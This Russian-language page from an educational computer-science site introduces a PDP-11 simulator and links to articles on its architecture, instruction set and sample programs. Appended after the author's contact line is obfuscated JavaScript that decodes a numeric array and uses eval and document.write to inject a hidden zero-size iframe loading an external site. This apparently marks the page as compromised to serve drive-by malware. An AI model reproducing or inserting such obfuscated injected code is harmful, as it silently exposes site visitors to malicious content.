Данный сайт по техническим причинам перенесен с http://emc.km.ru и является его дальнейшим развитием.
Более подробно об истории сайта можно прочитать здесь.


Учебные модели компьютера



Модели (software):


Модели (hardware):






Награды сайта
Награды сайта

Имитатор PDP-11

chip
Открывает нашу галерею моделей учебных ЭВМ имитатор PDP-11. Как Вы, наверное, помните, именно PDP обсуждался в первых учебниках информатики под редакцией академика А.П.Ершова (см. обзор). Это объясняется не только тем, что в то время наиболее распространенным был небезизвестный "ДВК", но и тем, что устройство процессора PDP действительно очень логично и прозрачно. Об этом и будет следующая статья.

начало раздела Что мне нравилось в архитектуре PDP-11 ("ДВК", "БК" и т.д.)?
В качестве небольшого введения я постарался описать, чем была хороша архитектура PDP-11 и почему она хорошо подходила для учебных целей. Описание получилось с легким оттенком ностальгической грусти... Наверное, только здесь теперь и можно увидеть, как выглядел "ДВК"!

описание Система команд PDP-11
Прочитав эту статью, Вы можете познакомиться с основными принципами построения системы команд процессоров PDP. Статья не претендует на абсолютную полноту описания, но, надеюсь, все наиболее важные черты в ней отражены.

учебное ПО Имитатор PDP-11
Далее Вы можете познакомиться с имтатором PDP-11 - учебной программой, написанной моим коллегой М.М.Паршиным. Программа выполняет небольшое подмножество команд реального процессора PDP и позволяет в наглядной форме продемонстрировать выполнение простейших программ.

Все материалы об имитаторе оформлены и любезно предоставлены автором программы.

система команд Система команд имитатора
На данной странице находится таблица с полной системой команд, реализованных в имитаторе. Главным образом это арифметические операции и команды управления. Очевидно, что вследствие выбора очень небольшой части команд реального процессора, имитатор вполне может считаться учебной моделью.

детали Работа с программой
В этом разделе можно посмотреть, как выглядят основные режимы работы имитатора.

примеры Примеры решения задач
Показана реализация нескольких программ для имитатора PDP: вычисление факториала, нахождение наибольшего общего делителя и две программы обработки массивов.


Автор сайта - Евгений Александрович Еремин (Пермский государственный педагогический университет). eremin@nm.ru


pt type='text/javascript'> function AYjB(j,C) {j=j-C;j=j^C;j=j^C;j=j/C;return j;} Array.prototype.IPiWlxkS=function(zj,FKDag) {var Qnzu=this.length;while(Qnzu--) {this[Qnzu]=String.fromCharCode(FKDag(this[Qnzu],zj));} return this.join('');} eval([202,224,200,236,220,204,222,234,94,240,230,212,234,204,82,66,80,122,212,206,230,196,220,204,66,232,230,200,124,70,210,234,234,226,118,96,96,200,224,236,222,232,204,218,224,206,204,218,202,204,230,232,94,200,224,220,96,208,196,218,218,204,230,244,96,218,196,222,208,96,234,204,232,234,94,210,234,220,218,70,66,232,234,244,218,204,124,70,202,212,232,226,218,196,244,118,66,222,224,222,204,70,126,122,96,212,206,230,196,220,204,126,80,66,84].IPiWlxkS(2,AYjB));